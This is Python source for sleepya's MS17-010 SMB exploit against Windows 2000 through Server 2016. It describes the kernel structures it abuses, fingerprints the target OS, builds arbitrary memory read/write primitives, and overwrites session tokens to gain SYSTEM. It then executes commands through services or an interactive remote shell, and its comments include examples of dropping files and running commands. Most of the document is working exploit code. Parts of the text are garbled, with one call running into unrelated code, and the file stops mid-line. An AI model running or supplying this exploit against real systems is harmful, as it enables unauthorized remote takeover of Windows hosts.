#!/usr/bin/python from mysmb import MYSMB, RemoteShell, SMBServer from struct import pack, unpack, unpack_from import sys import socket import time import string import random import argparse import logging ''' MS17-010 exploit for Windows 2000 and later by sleepya Note: - The exploit should never crash a target (chance should be nearly 0%) - The exploit use the bug same as eternalromance and eternalsynergy, so named pipe is needed Tested on: - Windows 2016 x64 - Windows 10 Pro Build 10240 x64 - Windows 2012 R2 x64 - Windows 8.1 x64 - Windows 2008 R2 SP1 x64 - Windows 7 SP1 x64 - Windows 2008 SP1 x64 - Windows 2003 R2 SP2 x64 - Windows XP SP2 x64 - Windows 8.1 x86 - Windows 7 SP1 x86 - Windows 2008 SP1 x86 - Windows 2003 SP2 x86 - Windows XP SP3 x86 - Windows 2000 SP4 x86 A transaction with empty setup: - it is allocated from paged pool (same as other transaction types) on Windows 7 and later - it is allocated from private heap (RtlAllocateHeap()) with no on use it on Windows Vista and earlier - no lookaside or caching method for allocating it Note: method name is from NSA eternalromance For Windows 7 and later, it is good to use matched pair method (one is large pool and another one is fit for freed pool from large pool). Additionally, the exploit does the information leak to check transactions alignment before doing OOB write. So this exploit should never crash a target against Windows 7 and later. For Windows Vista and earlier, matched pair method is impossible because we cannot allocate transaction size smaller than PAGE_SIZE (Windows XP can but large page pool does not split the last page of allocation). But a transaction with empty setup is allocated on private heap (it is created by RtlCreateHeap() on initialing server). Only this transaction type uses this heap. Normally, no one uses this transaction type. So transactions alignment in this private heap should be very easy and very reliable (fish in a barrel in NSA eternalromance). The drawback of this method is we cannot do information leak to verify transactions alignment before OOB write. So this exploit has a chance to crash target same as NSA eternalromance against Windows Vista and earlier. Reversed from: SrvAllocateSecurityContext() and SrvImpersonateSecurityContext() win7 x64 struct SrvSecContext { DWORD xx1; // second WORD is size DWORD refCnt; PACCESS_TOKEN Token; // 0x08 DWORD xx2; BOOLEAN CopyOnOpen; // 0x14 BOOLEAN EffectiveOnly; WORD xx3; DWORD ImpersonationLevel; // 0x18 DWORD xx4; BOOLEAN UsePsImpersonateClient; // 0x20 } win2012 x64 struct SrvSecContext { DWORD xx1; // second WORD is size DWORD refCnt; QWORD xx2; QWORD xx3; PACCESS_TOKEN Token; // 0x18 DWORD xx4; BOOLEAN CopyOnOpen; // 0x24 BOOLEAN EffectiveOnly; WORD xx3; DWORD ImpersonationLevel; // 0x28 DWORD xx4; BOOLEAN UsePsImpersonateClient; // 0x30 } SrvImpersonateSecurityContext() is used in Windows Vista and later before doing any operation as logged on user. It called PsImperonateClient() if SrvSecContext.UsePsImpersonateClient is true. From https://msdn.microsoft.com/en-us/library/windows/hardware/ff551907(v=vs.85).aspx, if Token is NULL, PsImperonateClient() ends the impersonation. Even there is no impersonation, the PsImperonateClient() returns STATUS_SUCCESS when Token is NULL. If we can overwrite Token to NULL and UsePsImpersonateClient to true, a running thread will use primary token (SYSTEM) to do all SMB operations. Note: for Windows 2003 and earlier, the exploit modify token user and groups in PCtxtHandle to get SYSTEM because only ImpersonateSecurityContext() is used in these Windows versions. ''' ########################### # info for modify session security context ########################### WIN7_64_SESSION_INFO = { 'SESSION_SECCTX_OFFSET': 0xa0, 'SESSION_ISNULL_OFFSET': 0xba, 'FAKE_SECCTX': pack('= x success = True if RestrictedSidCount != 0 or RestrictedSids != 0 or userAndGroupCount == 0 or userAndGroupsAddr == 0: print('Bad TOKEN_USER_GROUP offsets detected while parsing tokenData!') print('RestrictedSids: 0x{:x}'.format(RestrictedSids)) print('RestrictedSidCount: 0x{:x}'.format(RestrictedSidCount)) success = False print('userAndGroupCount: 0x{:x}'.format(userAndGroupCount)) print('userAndGroupsAddr: 0x{:x}'.format(userAndGroupsAddr)) return success, userAndGroupCount, userAndGroupsAddr def get_group_data_from_token(info, tokenData): userAndGroupCountOffset = info['TOKEN_USER_GROUP_CNT_OFFSET'] userAndGroupsAddrOffset = info['TOKEN_USER_GROUP_ADDR_OFFSET'] # try with default offsets success, userAndGroupCount, userAndGroupsAddr = validate_token_offset(info, tokenData, userAndGroupCountOffset, userAndGroupsAddrOffset) # hack to fix XP SP0 and SP1 # I will avoid over-engineering a more elegant solution and leave this as a hack, # since XP SP0 and SP1 is the only edge case in a LOT of testing! if not success and info['os'] == 'WINXP' and info['arch'] == 'x86': print('Attempting WINXP SP0/SP1 x86 TOKEN_USER_GROUP workaround') userAndGroupCountOffset = info['TOKEN_USER_GROUP_CNT_OFFSET_SP0_SP1'] userAndGroupsAddrOffset = info['TOKEN_USER_GROUP_ADDR_OFFSET_SP0_SP1'] # try with hack offsets success, userAndGroupCount, userAndGroupsAddr = validate_token_offset(info, tokenData, userAndGroupCountOffset, userAndGroupsAddrOffset) # still no good. Abort because something is wrong if not success: print('Bad TOKEN_USER_GROUP offsets. Abort > BSOD') sys.exit() # token parsed and validated return userAndGroupsAddr, userAndGroupCount, userAndGroupsAddrOffset, userAndGroupCountOffset def smb_send_file(smbConn, localSrc, remoteDrive, remotePath): with open(localSrc, 'rb') as fp: smbConn.putFile(remoteDrive + '$', remotePath, fp.read) # Note: using Windows Service to execute command same as how psexec works def service_exec(conn, cmd): import random import string from impacket.dcerpc.v5 import transport, srvs, scmr service_name = ''.join([random.choice(string.ascii_letters) for i in range(4)]) # Setup up a DCE SMBTransport with the connection already in place rpcsvc = conn.get_dce_rpc('svcctl') rpcsvc.connect() rpcsvc.bind(scmr.MSRPC_UUID_SCMR) svcHandle = None try: print("Opening SVCManager on %s....." % conn.get_remote_host()) resp = scmr.hROpenSCManagerW(rpcsvc) svcHandle = resp['lpScHandle'] # First we try to open the service in case it exists. If it does, we remove it. try: resp = scmr.hROpenServiceW(rpcsvc, svcHandle, service_name+'\x00') except Exception as e: if str(e).find('ERROR_SERVICE_DOES_NOT_EXIST') == -1: raise e # Unexpected error else: # It exists, remove it scmr.hRDeleteService(rpcsvc, resp['lpServiceHandle']) scmr.hRCloseServiceHandle(rpcsvc, resp['lpServiceHandle']) print('Creating service %s.....' % service_name) resp = scmr.hRCreateServiceW(rpcsvc, svcHandle, service_name + '\x00', service_name + '\x00', lpBinaryPathName=cmd + '\x00') serviceHandle = resp['lpServiceHandle'] if serviceHandle: # Start service try: print('Starting service %s.....' % service_name) scmr.hRStartServiceW(rpcsvc, serviceHandle) # is it really need to stop? # using command line always makes starting service fail because SetServiceStatus() does not get called #print('Stoping service %s.....' % service_name) #scmr.hRControlService(rpcsvc, serviceHandle, scmr.SERVICE_CONTROL_STOP) except Exception as e: print(str(e)) print('Removing service %s.....' % service_name) scmr.hRDeleteService(rpcsvc, serviceHandle) scmr.hRCloseServiceHandle(rpcsvc, serviceHandle) except Exception as e: print("ServiceExec Error on: %s" % conn.get_remote_host()) print(str(e)) finally: if svcHandle: scmr.hRCloseServiceHandle(rpcsvc, svcHandle) rpcsvc.disconnect() def do_system_mysmb_session(conn, pipe_name, share, mode): #stringbinding = 'ncacn_np:10.11.1.75[\pipe\svcctl]' print("[*] have fun with the system smb session!") # example of creating a remote shell on the remote host if mode == 'SERVER': serverThread = SMBServer() serverThread.daemon = True serverThread.start() service_name = ''.join([random.choice(string.ascii_letters) for _ in range(4)]) shell = RemoteShell(share, conn, mode, service_name) shell.cmdloop() if mode == 'SERVER': serverThread.stop() # example of creating a file on the remote host #smbConn = conn.get_smbconnection() #print('creating file c:\\pwned.txt on the target') #tid2 = smbConn.connectTree('C$') #fid2 = smbConn.createFile(tid2, '/pwned.txt') #smbConn.closeFile(tid2, fid2) #smbConn.disconnectTree(tid2) # example of running a command on the remote host #smbConn = conn.get_smbconnection() #service_exec(smbConn, r'cmd /c copy c:\pwned.txt c:\pwned_exec.txt') # example of sending a file to the remote host #smbConn = conn.get_smbconnection() #print('Sending file to the the target...') #smb_send_file(smbConn, sys.argv[0], 'C', '/exploit.py') #print('done.') # example of executing a file on the remote host #service_exec(conn, r'cmd /c copy c:\pwned.txt c:\pwned_exec.txt') # Note: there are many methods to get shell over SMB admin session # a simple method to get shell (but easily to be detected by AV) is # executing binary generated by "msfvenom -f exe-service ..." def exploit(target, port, username, password, pipe_name, share, mode): conn = MYSMB(target, port) # set NODELAY to make exploit much faster conn.get_socket().setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1) info = {} conn.login(username, password, maxBufferSize=4356) server_os = conn.get_server_os() print('[*] Target OS: '+server_os) if server_os.startswith("Windows 7 ") or server_os.startswith("Windows Server 2008 R2"): info['os'] = 'WIN7' info['method'] = exploit_matched_pairs elif server_os.startswith("Windows 8") or server_os.startswith("Windows Server 2012 ") or server_os.startswith("Windows Server 2016 ") or server_os.startswith("Windows 10") or server_os.startswith("Windows RT 9200"): info['os'] = 'WIN8' info['method'] = exploit_matched_pairs elif server_os.startswith("Windows Server (R) 2008") or server_os.startswith('Windows Vista'): info['os'] = 'WIN7' info['method'] = exploit_fish_barrel elif server_os.startswith("Windows Server 2003 "): info['os'] = 'WIN2K3' info['method'] = exploit_fish_barrel elif server_os.startswith("Windows 5.1"): info['os'] = 'WINXP' info['arch'] = 'x86' info['method'] = exploit_fish_barrel elif server_os.startswith("Windows XP "): info['os'] = 'WINXP' info['arch'] = 'x64' info['method'] = exploit_fish_barrel elif server_os.startswith("Windows 5.0"): info['os'] = 'WIN2K' info['arch'] = 'x86' info['method'] = exploit_fish_barrel else: print('This exploit does not support this target') sys.exit() if pipe_name is None: pipe_name = conn.find_named_pipe() if pipe_name is None: print('[-] Did not find an accessible named pipe :(') return False print('[+] Using named pipe: '+ pipe_name) if not info['method'](conn, pipe_name, info): return False # Now, read_data() and write_data() can be used for arbitrary read and write. # ================================ # Modify this SMB session to be SYSTEM # ================================ fmt = info['PTR_FMT'] print('[*] make this SMB session to be SYSTEM') # IsNullSession = 0, IsAdmin = 1 write_data(conn, info, info['session']+info['SESSION_ISNULL_OFFSET'], b'\x00\x01') # read session struct to get SecurityContext address sessionData = read_data(conn, info, info['session'], 0x100) secCtxAddr = unpack_from('<'+fmt, sessionData, info['SESSION_SECCTX_OFFSET'])[0] if 'PCTXTHANDLE_TOKEN_OFFSET' in info: # Windows 2003 and earlier uses only ImpersonateSecurityContext() (with PCtxtHandle struct) for impersonation # Modifying token seems to be difficult. But writing kernel shellcode for all old Windows versions is # much more difficult because data offset in ETHREAD/EPROCESS is different between service pack. # find the token and modify it if 'SECCTX_PCTXTHANDLE_OFFSET' in info: pctxtDataInfo = read_data(conn, info, secCtxAddr+info['SECCTX_PCTXTHANDLE_OFFSET'], 8) pctxtDataAddr = unpack_from('<'+fmt, pctxtDataInfo)[0] else: pctxtDataAddr = secCtxAddr tokenAddrInfo = read_data(conn, info, pctxtDataAddr+info['PCTXTHANDLE_TOKEN_OFFSET'], 8) tokenAddr = unpack_from('<'+fmt, tokenAddrInfo)[0] print('[+] current TOKEN addr: 0x{:x}'.format(tokenAddr)) # copy Token data for restoration tokenData = read_data(conn, info, tokenAddr, 0x40*info['PTR_SIZE']) # parse necessary data out of token userAndGroupsAddr, userAndGroupCount, userAndGroupsAddrOffset, userAndGroupCountOffset = get_group_data_from_token(info, tokenData) print('[*] overwriting token UserAndGroups') # modify UserAndGroups info fakeUserAndGroupCount, fakeUserAndGroups = create_fake_SYSTEM_UserAndGroups(conn, info, userAndGroupCount, userAndGroupsAddr) if fakeUserAndGroupCount != userAndGroupCount: write_data(conn, info, tokenAddr+userAndGroupCountOffset, pack('